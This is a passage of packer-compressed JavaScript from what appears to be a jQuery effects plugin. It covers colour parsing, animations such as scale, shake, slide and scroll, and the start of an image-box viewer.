c={};c.T=t.E(\'T\');c.1o=A.12.2f(e);c.3s=A.12.b2(e);F d=e.4u?e.4u.dk:t.E(\'hK\');c.O=R(t.E(\'O\'))||0;c.M=R(t.E(\'M\'))||0;F f=\'hJ\'+R(Z.63()*aW);F g=1c.3x(/^3O$|^br$|^hI$|^hr$|^7Q$|^hH$|^7M$|^3q$|^hF$|^hE$|^hC$|^90$|^dl$|^hB$/i.3M(e.98)?\'1W\':e.98);A.1m(g,\'id\',f);F h=A(g).2H(\'hA\');F i=g.Y;F j=0;F k=0;if(c.T==\'2i\'||c.T==\'1J\'){j=c.O;k=c.M}i.O=j+\'Q\';i.M=k+\'Q\';i.T=c.T!=\'2i\'&&c.T!=\'1J\'?\'2i\':c.T;i.S=c.1o.hb+\'Q\';i.V=c.1o.1D+\'Q\';i.4M=c.3s.t;i.53=c.3s.r;i.4L=c.3s.b;i.4K=c.3s.l;i.2N=\'2B\';if(A.2R.46){i.dk=d}L{i.hz=d}if(A.2R=="46"){a.4X="7s(1E="+0.dg*1Y+")"}a.1E=0.dg;e.2S.dn(g,e);g.hy(e);a.4M=\'2G\';a.53=\'2G\';a.4L=\'2G\';a.4K=\'2G\';a.T=\'1J\';a.bV=\'1k\';a.O=\'2G\';a.M=\'2G\';if(b){t.2x();a.2W=95}G{U:c,2Y:A(g)}};A.fx.7H={hx:[0,1O,1O],hw:[dd,1O,1O],hv:[db,db,hu],hs:[0,0,0],hq:[0,0,1O],hp:[d6,42,42],hn:[0,1O,1O],hm:[0,0,6N],hl:[0,6N,6N],hk:[aX,aX,aX],hi:[0,1Y,0],hg:[hf,he,cZ],hd:[6N,0,6N],ha:[85,cZ,47],h7:[1O,cY,0],h6:[h5,50,h4],h3:[6N,0,0],h2:[h1,cX,h0],gZ:[gY,0,8U],gX:[1O,0,1O],gW:[1O,gU,0],gT:[0,67,0],gS:[75,0,gQ],gP:[dd,cU,cY],gO:[gL,gK,cU],gI:[cT,1O,1O],gH:[cS,gG,cS],gF:[8U,8U,8U],gD:[1O,gC,gB],gA:[1O,1O,cT],gw:[0,1O,0],gv:[1O,0,1O],gu:[67,0,0],gs:[0,0,67],gr:[67,67,0],gq:[1O,d6,0],gp:[1O,8R,gn],gm:[67,0,67],gl:[1O,0,0],gk:[8R,8R,8R],gj:[1O,1O,1O],gi:[1O,1O,0]};A.fx.5L=C(a,b){if(A.fx.7H[a])G{r:A.fx.7H[a][0],g:A.fx.7H[a][1],b:A.fx.7H[a][2]};L if(2L=/^6v\\(\\s*([0-9]{1,3})\\s*,\\s*([0-9]{1,3})\\s*,\\s*([0-9]{1,3})\\s*\\)$/.8Q(a))G{r:R(2L[1]),g:R(2L[2]),b:R(2L[3])};L if(2L=/6v\\(\\s*([0-9]+(?:\\.[0-9]+)?)\\%\\s*,\\s*([0-9]+(?:\\.[0-9]+)?)\\%\\s*,\\s*([0-9]+(?:\\.[0-9]+)?)\\%\\s*\\)$/.8Q(a))G{r:2c(2L[1])*2.55,g:2c(2L[2])*2.55,b:2c(2L[3])*2.55};L if(2L=/^#([a-fA-6t-9])([a-fA-6t-9])([a-fA-6t-9])$/.8Q(a))G{r:R("6s"+2L[1]+2L[1]),g:R("6s"+2L[2]+2L[2]),b:R("6s"+2L[3]+2L[3])};L if(2L=/^#([a-fA-6t-9]{2})([a-fA-6t-9]{2})([a-fA-6t-9]{2})$/.8Q(a))G{r:R("6s"+2L[1]),g:R("6s"+2L[2]),b:R("6s"+2L[3])};L G b==14?H:{r:1O,g:1O,b:1O}};A.fx.cQ={5d:1,4y:1,5i:1,4x:1,4e:1,4a:1,S:1,M:1,bx:1,gh:1,4L:1,4K:1,53:1,4M:1,7y:1,5R:1,7x:1,8O:1,1E:1,ge:1,gc:1,4Q:1,4F:1,5g:1,5b:1,2D:1,gb:1,O:1,V:1,3j:1};A.fx.cN={6P:1,ga:1,g9:1,g8:1,g7:1,g6:1,g5:1};A.fx.7v=[\'g4\',\'g3\',\'g2\',\'g1\'];A.fx.aL={\'aK\':[\'2u\',\'cK\'],\'8E\':[\'2u\',\'aH\'],\'5X\':[\'5X\',\'\'],\'7E\':[\'7E\',\'\']};A.fn.1U({4S:C(b,c,d,f){G B.1r(C(){F a=A.1l(c,d,f);F e=W A.cI(B,a,b)})},aG:C(b,c){G B.1r(C(){F a=A.1l(b,c);F e=W A.aG(B,a)})},7w:C(a){G B.1y(C(){if(B.5e)A.aF(B,a)})},fZ:C(a){G B.1y(C(){if(B.5e)A.aF(B,a);if(B.1r&&B.1r[\'fx\'])B.1r.fx=[]})}});A.1U({aG:C(a,b){F z=B,5f;z.3f=C(){if(A.cF(b.1T))b.1T.1x(a)};z.2A=5Y(C(){z.3f()},b.1H);a.5e=z},1e:{b1:C(p,n,a,b,c){G((-Z.51(p*Z.2F)/2)+0.5)*b+a}},cI:C(f,g,h){F z=B,5f;F y=f.Y;F k=A.E(f,"2N");F l=A.E(f,"11");F o={};z.9a=(W 6p()).6y();g.1e=g.1e&&A.1e[g.1e]?g.1e:\'b1\';z.8H=C(a,b){if(A.fx.cQ[a]){if(b==\'1S\'||b==\'2x\'||b==\'3E\'){if(!f.5I)f.5I={};F r=2c(A.5S(f,a));f.5I[a]=r&&r>-aW?r:(2c(A.E(f,a))||0);b=b==\'3E\'?(l==\'1k\'?\'1S\':\'2x\'):b;g[b]=14;o[a]=b==\'1S\'?[0,f.5I[a]]:[f.5I[a],0];if(a!=\'1E\')y[a]=o[a][0]+(a!=\'3j\'&&a!=\'87\'?\'Q\':\'\');L A.1m(y,"1E",o[a][0])}L{o[a]=[2c(A.5S(f,a)),2c(b)||0]}}L if(A.fx.cN[a])o[a]=[A.fx.5L(A.5S(f,a)),A.fx.5L(b)];L if(/^5X$|7E$|2u$|8E$|aK$/i.3M(a)){F m=b.48(/\\s+/g,\' \').48(/6v\\s*\\(\\s*/g,\'6v(\').48(/\\s*,\\s*/g,\',\').48(/\\s*\\)/g,\')\').aD(/([^\\s]+)/g);2X(a){19\'5X\':19\'7E\':19\'aK\':19\'8E\':m[3]=m[3]||m[1]||m[0];m[2]=m[2]||m[0];m[1]=m[1]||m[0];1V(F i=0;i<A.fx.7v.1b;i++){F c=A.fx.aL[a][0]+A.fx.7v[i]+A.fx.aL[a][1];o[c]=a==\'8E\'?[A.fx.5L(A.5S(f,c)),A.fx.5L(m[i])]:[2c(A.5S(f,c)),2c(m[i])]}1n;19\'2u\':1V(F i=0;i<m.1b;i++){F d=2c(m[i]);F e=!fX(d)?\'cK\':(!/b7|1k|2B|fW|fV|fU|fT|fS|fQ|fP|fO/i.3M(m[i])?\'aH\':H);if(e){1V(F j=0;j<A.fx.7v.1b;j++){c=\'2u\'+A.fx.7v[j]+e;o[c]=e==\'aH\'?[A.fx.5L(A.5S(f,c)),A.fx.5L(m[i])]:[2c(A.5S(f,c)),d]}}L{y[\'fN\']=m[i]}}1n}}L{y[a]=b}G H};1V(p in h){if(p==\'Y\'){F q=A.ax(h[p]);1V(6I in q){B.8H(6I,q[6I])}}L if(p==\'2Z\'){if(1c.8D)1V(F i=0;i<1c.8D.1b;i++){F s=1c.8D[i].fM||1c.8D[i].fL||P;if(s){1V(F j=0;j<s.1b;j++){if(s[j].fK==\'.\'+h[p]){F u=W bw(\'\\.\'+h[p]+\' {\');F v=s[j].Y.9d;F q=A.ax(v.48(u,\'\').48(/}/g,\'\'));1V(6I in q){B.8H(6I,q[6I])}}}}}}L{B.8H(p,h[p])}}y.11=l==\'1k\'?\'2v\':l;y.2N=\'2B\';z.3f=C(){F t=(W 6p()).6y();if(t>g.1H+z.9a){5h(z.2A);z.2A=P;1V(p in o){if(p=="1E")A.1m(y,"1E",o[p][1]);L if(28 o[p][1]==\'7M\')y[p]=\'6v(\'+o[p][1].r+\',\'+o[p][1].g+\',\'+o[p][1].b+\')\';L y[p]=o[p][1]+(p!=\'3j\'&&p!=\'87\'?\'Q\':\'\')}if(g.2x||g.1S)1V(F p in f.5I)if(p=="1E")A.1m(y,p,f.5I[p]);L y[p]="";y.11=g.2x?\'1k\':(l!=\'1k\'?l:\'2v\');y.2N=k;f.5e=P;if(A.cF(g.1T))g.1T.1x(f)}L{F n=t-B.9a;F a=n/g.1H;1V(p in o){if(28 o[p][1]==\'7M\'){y[p]=\'6v(\'+R(A.1e[g.1e](a,n,o[p][0].r,(o[p][1].r-o[p][0].r),g.1H))+\',\'+R(A.1e[g.1e](a,n,o[p][0].g,(o[p][1].g-o[p][0].g),g.1H))+\',\'+R(A.1e[g.1e](a,n,o[p][0].b,(o[p][1].b-o[p][0].b),g.1H))+\')\'}L{F b=A.1e[g.1e](a,n,o[p][0],(o[p][1]-o[p][0]),g.1H);if(p=="1E")A.1m(y,"1E",b);L y[p]=b+(p!=\'3j\'&&p!=\'87\'?\'Q\':\'\')}}}};z.2A=5Y(C(){z.3f()},13);f.5e=z},aF:C(a,b){if(b)a.5e.9a-=fJ;L{1P.5h(a.5e.2A);a.5e=P;A.2z(a,"fx")}}});A.ax=C(a){F b={};if(28 a==\'4B\'){a=a.5u().6W(\';\');1V(F i=0;i<a.1b;i++){8B=a[i].6W(\':\');if(8B.1b==2){b[A.cE(8B[0].48(/\\-(\\w)/g,C(m,c){G c.fI()}))]=A.cE(8B[1])}}}G b};A.fn.1U({fH:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.4N(B,a,b,\'3K\',\'5o\',c)})},fG:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.4N(B,a,b,\'3Z\',\'5o\',c)})},fF:C(a,b,c){G B.1r(\'1j\',C(){if(A.E(B,\'11\')==\'1k\'){W A.fx.4N(B,a,b,\'3Z\',\'6n\',c)}L{W A.fx.4N(B,a,b,\'3Z\',\'5o\',c)}})},fE:C(a,b,c){G B.1r(\'1j\',C(){if(A.E(B,\'11\')==\'1k\'){W A.fx.4N(B,a,b,\'3K\',\'6n\',c)}L{W A.fx.4N(B,a,b,\'3K\',\'5o\',c)}})},fD:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.4N(B,a,b,\'3K\',\'6n\',c)})},fC:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.4N(B,a,b,\'3Z\',\'6n\',c)})}});A.fx.4N=C(e,a,b,c,d,f){if(!A.4n(e)){A.2z(e,\'1j\');G H}F z=B;F g=H;z.el=A(e);z.1e=28 b==\'4B\'?b:f||P;z.29=28 b==\'C\'?b:P;z.1K=d;z.1l=a;z.26=A.12.2f(e);z.U={};z.U.T=z.el.E(\'T\');z.U.11=z.el.E(\'11\');if(z.U.11==\'1k\'){95=z.el.E(\'2W\');z.el.1S();g=14}z.U.O=z.el.E(\'O\');z.U.M=z.el.E(\'M\');if(g){z.el.2x();z.el.E(\'2W\',95)}z.U.V=z.26.w+\'Q\';z.U.S=z.26.h+\'Q\';z.U.2N=z.el.E(\'2N\');z.26.O=R(z.U.O)||0;z.26.M=R(z.U.M)||0;if(z.U.T!=\'2i\'&&z.U.T!=\'1J\'){z.el.E(\'T\',\'2i\')}z.el.E(\'2N\',\'2B\').E(\'S\',d==\'6n\'&&c==\'3K\'?1:z.26.h+\'Q\').E(\'V\',d==\'6n\'&&c==\'3Z\'?1:z.26.w+\'Q\');z.1T=C(){z.el.E(z.U);if(z.1K==\'5o\')z.el.2x();L z.el.1S();A.2z(z.el.I(0),\'1j\')};2X(c){19\'3K\':z.eh=W A.fx(z.el.I(0),A.1l(a-15,z.1e,b),\'S\');z.et=W A.fx(z.el.I(0),A.1l(z.1l,z.1e,z.1T),\'O\');if(z.1K==\'5o\'){z.eh.1G(z.26.h,0);z.et.1G(z.26.O,z.26.O+z.26.h/2)}L{z.eh.1G(0,z.26.h);z.et.1G(z.26.O+z.26.h/2,z.26.O)}1n;19\'3Z\':z.eh=W A.fx(z.el.I(0),A.1l(a-15,z.1e,b),\'V\');z.et=W A.fx(z.el.I(0),A.1l(z.1l,z.1e,z.1T),\'M\');if(z.1K==\'5o\'){z.eh.1G(z.26.w,0);z.et.1G(z.26.M,z.26.M+z.26.w/2)}L{z.eh.1G(0,z.26.w);z.et.1G(z.26.M+z.26.w/2,z.26.M)}1n}};A.fn.au=C(b,c,d){G B.1r(\'1j\',C(){if(!A.4n(B)){A.2z(B,\'1j\');G H}F a=W A.fx.au(B,b,c,d);a.at()})};A.fx.au=C(a,b,c,d){F z=B;z.74=c;z.52=1;z.el=a;z.1l=b;z.29=d;A(z.el).1S();z.at=C(){z.52++;z.e=W A.fx(z.el,A.1l(z.1l,C(){z.ef=W A.fx(z.el,A.1l(z.1l,C(){if(z.52<=z.74)z.at();L{A.2z(z.el,\'1j\');if(z.29&&z.29.1F==2w){z.29.1x(z.el)}}}),\'1E\');z.ef.1G(0,1)}),\'1E\');z.e.1G(1,0)}};A.fn.1U({fB:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.5E(B,a,1,1Y,14,b,\'cz\',c)})},fy:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.5E(B,a,1Y,1,14,b,\'as\',c)})},fw:C(b,c,d){G B.1r(\'1j\',C(){F a=a||\'d2\';W A.fx.5E(B,b,1Y,cX,14,c,\'5c\',a)})},5E:C(a,b,c,d,e,f){G B.1r(\'1j\',C(){W A.fx.5E(B,a,b,c,d,e,\'5E\',f)})}});A.fx.5E=C(e,f,g,h,j,k,m,q){if(!A.4n(e)){A.2z(e,\'1j\');G H}F z=B;z.el=A(e);z.6m=R(g)||1Y;z.3v=R(h)||1Y;z.1e=28 k==\'4B\'?k:q||P;z.29=28 k==\'C\'?k:P;z.1H=A.1l(f).1H;z.bL=j||P;z.26=A.12.2f(e);z.U={V:z.el.E(\'V\'),S:z.el.E(\'S\'),4a:z.el.E(\'4a\')||\'1Y%\',T:z.el.E(\'T\'),11:z.el.E(\'11\'),O:z.el.E(\'O\'),M:z.el.E(\'M\'),2N:z.el.E(\'2N\'),4x:z.el.E(\'4x\'),5i:z.el.E(\'5i\'),5d:z.el.E(\'5d\'),4y:z.el.E(\'4y\'),5b:z.el.E(\'5b\'),5g:z.el.E(\'5g\'),4Q:z.el.E(\'4Q\'),4F:z.el.E(\'4F\')};z.V=R(z.U.V)||e.3P||0;z.S=R(z.U.S)||e.5r||0;z.O=R(z.U.O)||0;z.M=R(z.U.M)||0;1o=[\'em\',\'Q\',\'fv\',\'%\'];1V(i in 1o){if(z.U.4a.3o(1o[i])>0){z.cy=1o[i];z.4a=2c(z.U.4a)}if(z.U.4x.3o(1o[i])>0){z.cx=1o[i];z.aq=2c(z.U.4x)||0}if(z.U.5i.3o(1o[i])>0){z.cw=1o[i];z.ap=2c(z.U.5i)||0}if(z.U.5d.3o(1o[i])>0){z.cv=1o[i];z.ao=2c(z.U.5d)||0}if(z.U.4y.3o(1o[i])>0){z.cu=1o[i];z.an=2c(z.U.4y)||0}if(z.U.5b.3o(1o[i])>0){z.ct=1o[i];z.am=2c(z.U.5b)||0}if(z.U.5g.3o(1o[i])>0){z.cr=1o[i];z.al=2c(z.U.5g)||0}if(z.U.4Q.3o(1o[i])>0){z.cq=1o[i];z.ak=2c(z.U.4Q)||0}if(z.U.4F.3o(1o[i])>0){z.cp=1o[i];z.aj=2c(z.U.4F)||0}}if(z.U.T!=\'2i\'&&z.U.T!=\'1J\'){z.el.E(\'T\',\'2i\')}z.el.E(\'2N\',\'2B\');z.1K=m;2X(z.1K){19\'cz\':z.3V=z.O+z.26.h/2;z.4H=z.O;z.3Q=z.M+z.26.w/2;z.4r=z.M;1n;19\'as\':z.4H=z.O+z.26.h/2;z.3V=z.O;z.4r=z.M+z.26.w/2;z.3Q=z.M;1n;19\'5c\':z.4H=z.O-z.26.h/4;z.3V=z.O;z.4r=z.M-z.26.w/4;z.3Q=z.M;1n}z.ai=H;z.t=(W 6p).6y();z.4i=C(){5h(z.2A);z.2A=P};z.3f=C(){if(z.ai==H){z.el.1S();z.ai=14}F t=(W 6p).6y();F n=t-z.t;F p=n/z.1H;if(t>=z.1H+z.t){97(C(){o=1;if(z.1K){t=z.4H;l=z.4r;if(z.1K==\'5c\')o=0}z.ag(z.3v,l,t,14,o)},13);z.4i()}L{o=1;if(!A.1e||!A.1e[z.1e]){s=((-Z.51(p*Z.2F)/2)+0.5)*(z.3v-z.6m)+z.6m}L{s=A.1e[z.1e](p,n,z.6m,(z.3v-z.6m),z.1H)}if(z.1K){if(!A.1e||!A.1e[z.1e]){t=((-Z.51(p*Z.2F)/2)+0.5)*(z.4H-z.3V)+z.3V;l=((-Z.51(p*Z.2F)/2)+0.5)*(z.4r-z.3Q)+z.3Q;if(z.1K==\'5c\')o=((-Z.51(p*Z.2F)/2)+0.5)*(-0.9B)+0.9B}L{t=A.1e[z.1e](p,n,z.3V,(z.4H-z.3V),z.1H);l=A.1e[z.1e](p,n,z.3Q,(z.4r-z.3Q),z.1H);if(z.1K==\'5c\')o=A.1e[z.1e](p,n,0.9B,-0.9B,z.1H)}}z.ag(s,l,t,H,o)}};z.2A=5Y(C(){z.3f()},13);z.ag=C(a,b,c,d,e){z.el.E(\'S\',z.S*a/1Y+\'Q\').E(\'V\',z.V*a/1Y+\'Q\').E(\'M\',b+\'Q\').E(\'O\',c+\'Q\').E(\'4a\',z.4a*a/1Y+z.cy);if(z.aq)z.el.E(\'4x\',z.aq*a/1Y+z.cx);if(z.ap)z.el.E(\'5i\',z.ap*a/1Y+z.cw);if(z.ao)z.el.E(\'5d\',z.ao*a/1Y+z.cv);if(z.an)z.el.E(\'4y\',z.an*a/1Y+z.cu);if(z.am)z.el.E(\'5b\',z.am*a/1Y+z.ct);if(z.al)z.el.E(\'5g\',z.al*a/1Y+z.cr);if(z.ak)z.el.E(\'4Q\',z.ak*a/1Y+z.cq);if(z.aj)z.el.E(\'4F\',z.aj*a/1Y+z.cp);if(z.1K==\'5c\'){if(1P.6j)z.el.I(0).Y.4X="7s(1E="+e*1Y+")";z.el.I(0).Y.1E=e}if(d){if(z.bL){z.el.E(z.U)}if(z.1K==\'as\'||z.1K==\'5c\'){z.el.E(\'11\',\'1k\');if(z.1K==\'5c\'){if(1P.6j)z.el.I(0).Y.4X="7s(1E="+1Y+")";z.el.I(0).Y.1E=1}}L z.el.E(\'11\',\'2v\');if(z.29)z.29.1x(z.el.I(0));A.2z(z.el.I(0),\'1j\')}}};A.fn.1U({9A:C(a,b,c){o=A.1l(a);G B.1r(\'1j\',C(){W A.fx.9A(B,o,b,c)})},ft:C(a,b,c){G B.1y(C(){A(\'a[@2U*="#"]\',B).4U(C(e){co=B.2U.6W(\'#\');A(\'#\'+co[1]).9A(a,b,c);G H})})}});A.fx.9A=C(e,o,a,b){F z=B;z.o=o;z.e=e;z.2g=/cn|cm/.3M(a)?a:H;z.1e=b;p=A.12.3a(e);s=A.12.5O();z.4i=C(){5h(z.2A);z.2A=P;A.2z(z.e,\'1j\')};z.t=(W 6p).6y();s.h=s.h>s.ih?(s.h-s.ih):s.h;s.w=s.w>s.iw?(s.w-s.iw):s.w;z.4H=p.y>s.h?s.h:p.y;z.4r=p.x>s.w?s.w:p.x;z.3V=s.t;z.3Q=s.l;z.3f=C(){F t=(W 6p).6y();F n=t-z.t;F p=n/z.o.1H;if(t>=z.o.1H+z.t){z.4i();97(C(){z.ab(z.4H,z.4r)},13)}L{if(!z.2g||z.2g==\'cn\'){if(!A.1e||!A.1e[z.1e]){8v=((-Z.51(p*Z.2F)/2)+0.5)*(z.4H-z.3V)+z.3V}L{8v=A.1e[z.1e](p,n,z.3V,(z.4H-z.3V),z.o.1H)}}L{8v=z.3V}if(!z.2g||z.2g==\'cm\'){if(!A.1e||!A.1e[z.1e]){8u=((-Z.51(p*Z.2F)/2)+0.5)*(z.4r-z.3Q)+z.3Q}L{8u=A.1e[z.1e](p,n,z.3Q,(z.4r-z.3Q),z.o.1H)}}L{8u=z.3Q}z.ab(8v,8u)}};z.ab=C(t,l){1P.fs(l,t)};z.2A=5Y(C(){z.3f()},13)};A.fn.a8=C(a,b){G B.1r(\'1j\',C(){if(!A.4n(B)){A.2z(B,\'1j\');G H}F e=W A.fx.a8(B,a,b);e.a7()})};A.fx.a8=C(e,a,b){F z=B;z.el=A(e);z.el.1S();z.74=R(a)||3;z.29=b;z.52=1;z.U={};z.U.T=z.el.E(\'T\');z.U.O=R(z.el.E(\'O\'))||0;z.U.M=R(z.el.E(\'M\'))||0;if(z.U.T!=\'2i\'&&z.U.T!=\'1J\'){z.el.E(\'T\',\'2i\')}z.a7=C(){z.52++;z.e=W A.fx(z.el.I(0),{1H:60,1T:C(){z.e=W A.fx(z.el.I(0),{1H:60,1T:C(){z.e=W A.fx(e,{1H:60,1T:C(){if(z.52<=z.74)z.a7();L{z.el.E(\'T\',z.U.T).E(\'O\',z.U.O+\'Q\').E(\'M\',z.U.M+\'Q\');A.2z(z.el.I(0),\'1j\');if(z.29&&z.29.1F==2w){z.29.1x(z.el.I(0))}}}},\'M\');z.e.1G(z.U.M-20,z.U.M)}},\'M\');z.e.1G(z.U.M+20,z.U.M-20)}},\'M\');z.e.1G(z.U.M,z.U.M+20)}};A.fn.1U({dR:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'4l\',\'in\',c)})},c6:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'4l\',\'3U\',c)})},fr:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'4l\',\'3E\',c)})},fq:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'41\',\'in\',c)})},fp:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'41\',\'3U\',c)})},fo:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'41\',\'3E\',c)})},fm:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'M\',\'in\',c)})},fl:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'M\',\'3U\',c)})},fk:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'M\',\'3E\',c)})},fj:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'2D\',\'in\',c)})},fi:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'2D\',\'3U\',c)})},fh:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'2D\',\'3E\',c)})}});A.fx.1u=C(e,a,b,c,d,f){if(!A.4n(e)){A.2z(e,\'1j\');G H}F z=B;z.el=A(e);z.1e=28 b==\'4B\'?b:f||P;z.29=28 b==\'C\'?b:P;if(d==\'3E\'){d=z.el.E(\'11\')==\'1k\'?\'in\':\'3U\'}if(!e.4f)e.4f=z.el.E(\'11\');z.el.1S();z.1l=a;z.fx=A.fx.9u(e);z.1K=d;z.6T=c;z.1T=C(){if(z.1K==\'3U\')z.el.E(\'2W\',\'2B\');A.fx.9n(z.fx.2Y.I(0),z.fx.U);if(z.1K==\'in\'){z.el.E(\'11\',z.el.I(0).4f==\'1k\'?\'2v\':z.el.I(0).4f)}L{z.el.E(\'11\',\'1k\');z.el.E(\'2W\',\'cl\')}if(z.29&&z.29.1F==2w){z.29.1x(z.el.I(0))}A.2z(z.el.I(0),\'1j\')};2X(z.6T){19\'4l\':z.ef=W A.fx(z.el.I(0),A.1l(z.1l,z.1e,z.1T),\'O\');z.79=W A.fx(z.fx.2Y.I(0),A.1l(z.1l,z.1e),\'S\');if(z.1K==\'in\'){z.ef.1G(-z.fx.U.1o.hb,0);z.79.1G(0,z.fx.U.1o.hb)}L{z.ef.1G(0,-z.fx.U.1o.hb);z.79.1G(z.fx.U.1o.hb,0)}1n;19\'41\':z.ef=W A.fx(z.el.I(0),A.1l(z.1l,z.1e,z.1T),\'O\');if(z.1K==\'in\'){z.ef.1G(z.fx.U.1o.hb,0)}L{z.ef.1G(0,z.fx.U.1o.hb)}1n;19\'M\':z.ef=W A.fx(z.el.I(0),A.1l(z.1l,z.1e,z.1T),\'M\');z.79=W A.fx(z.fx.2Y.I(0),A.1l(z.1l,z.1e),\'V\');if(z.1K==\'in\'){z.ef.1G(-z.fx.U.1o.1D,0);z.79.1G(0,z.fx.U.1o.1D)}L{z.ef.1G(0,-z.fx.U.1o.1D);z.79.1G(z.fx.U.1o.1D,0)}1n;19\'2D\':z.ef=W A.fx(z.el.I(0),A.1l(z.1l,z.1e,z.1T),\'M\');if(z.1K==\'in\'){z.ef.1G(z.fx.U.1o.1D,0)}L{z.ef.1G(0,z.fx.U.1o.1D)}1n}};A.2O=P;A.fn.fg=C(o){G B.1r(\'1j\',C(){W A.fx.cj(B,o)})};A.fx.cj=C(e,o){if(A.2O==P){A(\'23\',1c).1L(\'<1W id="2O"></1W>\');A.2O=A(\'#2O\')}A.2O.E(\'11\',\'2v\').E(\'T\',\'1J\');F z=B;z.el=A(e);if(!o||!o.3v){G}if(o.3v.1F==8t&&1c.7o(o.3v)){o.3v=1c.7o(o.3v)}L if(!o.3v.ci){G}if(!o.1H){o.1H=ch}z.1H=o.1H;z.3v=o.3v;z.7e=o.2Z;z.1T=o.1T;if(z.7e){A.2O.2H(z.7e)}z.8s=0;z.8i=0;if(A.e0){z.8s=(R(A.2O.E(\'4y\'))||0)+(R(A.2O.E(\'5i\'))||0)+(R(A.2O.E(\'4F\'))||0)+(R(A.2O.E(\'5g\'))||0);z.8i=(R(A.2O.E(\'4x\'))||0)+(R(A.2O.E(\'5d\'))||0)+(R(A.2O.E(\'5b\'))||0)+(R(A.2O.E(\'4Q\'))||0)}z.2b=A.1U(A.12.3a(z.el.I(0)),A.12.2f(z.el.I(0)));z.3m=A.1U(A.12.3a(z.3v),A.12.2f(z.3v));z.2b.1D-=z.8s;z.2b.hb-=z.8i;z.3m.1D-=z.8s;z.3m.hb-=z.8i;z.29=o.1T;A.2O.E(\'V\',z.2b.1D+\'Q\').E(\'S\',z.2b.hb+\'Q\').E(\'O\',z.2b.y+\'Q\').E(\'M\',z.2b.x+\'Q\').4S({O:z.3m.y,M:z.3m.x,V:z.3m.1D,S:z.3m.hb},z.1H,C(){if(z.7e)A.2O.3S(z.7e);A.2O.E(\'11\',\'1k\');if(z.1T&&z.1T.1F==2w){z.1T.1x(z.el.I(0),[z.3v])}A.2z(z.el.I(0),\'1j\')})};A.1q={24:{2u:10,cf:\'1R/ff.ce\',cd:\'<3O 2E="1R/5o.cc" />\',cb:0.8,ca:\'fb 8G\',c9:\'6m\',3F:7n},fa:H,f8:H,5A:P,7m:H,7l:H,a3:C(a){if(!A.1q.7l||A.1q.7m)G;F b=a.6S||a.6R||-1;2X(b){19 35:if(A.1q.5A)A.1q.2b(P,A(\'a[@4o=\'+A.1q.5A+\']:f7\').I(0));1n;19 36:if(A.1q.5A)A.1q.2b(P,A(\'a[@4o=\'+A.1q.5A+\']:f6\').I(0));1n;19 37:19 8:19 33:19 80:19 f4:F c=A(\'#7j\');if(c.I(0).4q!=P){c.I(0).4q.1x(c.I(0))}1n;19 38:1n;19 39:19 34:19 32:19 fd:19 78:F d=A(\'#7h\');if(d.I(0).4q!=P){d.I(0).4q.1x(d.I(0))}1n;19 40:1n;19 27:A.1q.8q();1n}},6g:C(a){if(a)A.1U(A.1q.24,a);if(1P.3N){A(\'23\',1c).1C(\'5Q\',A.1q.a3)}L{A(1c).1C(\'5Q\',A.1q.a3)}A(\'a\').1y(C(){el=A(B);c5=el.1m(\'4o\')||\'\';c4=el.1m(\'2U\')||\'\';cg=/\\.cc|\\.f2|\\.7q|\\.ce|\\.f1/g;if(c4.5u().aD(cg)!=P&&c5.5u().3o(\'c2\')==0){el.1C(\'4U\',A.1q.2b)}});if(A.2R.46){3q=1c.3x(\'3q\');A(3q).1m({id:\'a1\',2E:\'dc:H;\',da:\'b0\',d7:\'b0\'}).E({11:\'1k\',T:\'1J\',O:\'0\',M:\'0\',4X:\'9x:9C.9E.a6(1E=0)\'});A(\'23\').1L(3q)}7r=1c.3x(\'1W\');A(7r).1m(\'id\',\'a0\').E({T:\'1J\',11:\'1k\',O:\'0\',M:\'0\',1E:0}).1L(1c.8b(\' \')).1C(\'4U\',A.1q.8q);5C=1c.3x(\'1W\');A(5C).1m(\'id\',\'c0\').E({4F:A.1q.24.2u+\'Q\'}).1L(1c.8b(\' \'));9Z=1c.3x(\'1W\');A(9Z).1m(\'id\',\'bY\').E({4F:A.1q.24.2u+\'Q\',4Q:A.1q.24.2u+\'Q\'}).1L(1c.8b(\' \'));9Y=1c.3x(\'a\');A(9Y).1m({id:\'f0\',2U:\'#\'}).E({T:\'1J\',2D:A.1q.24.2u+\'Q\',O:\'0\'}).1L(A.1q.24.cd).1C(\'4U\',A.1q.8q);6Z=1c.3x(\'1W\');A(6Z).1m(\'id\',\'9X\').E({T:\'2i\',9W:\'M\',5X:\'0 8x\',3j:1}).1L(5C).1L(9Z).1L(9Y);21=1c.3x(\'3O\');21.2E=A.1q.24.cf;A(21).1m(\'id\',\'bW\').E({T:\'1J\'});5G=1c.3x(\'a\');A(5G).1m({id:\'7j\',2U:\'#\'}).E({T:\'1J\',11:\'1k\',2N:\'2B\',cC:\'1k\'}).1L(1c.8b(\' \'));5F=1c.3x(\'a\');A(5F).1m({id:\'7h\',2U:\'#\'}).E({T:\'1J\',2N:\'2B\',cC:\'1k\'}).1L(1c.8b(\' \'));2q=1c.3x(\'1W\');A(2q).1m(\'id\',\'bT\').E({11:\'1k\',T:\'2i\',2N:\'2B\',9W:\'M\',5X:\'0 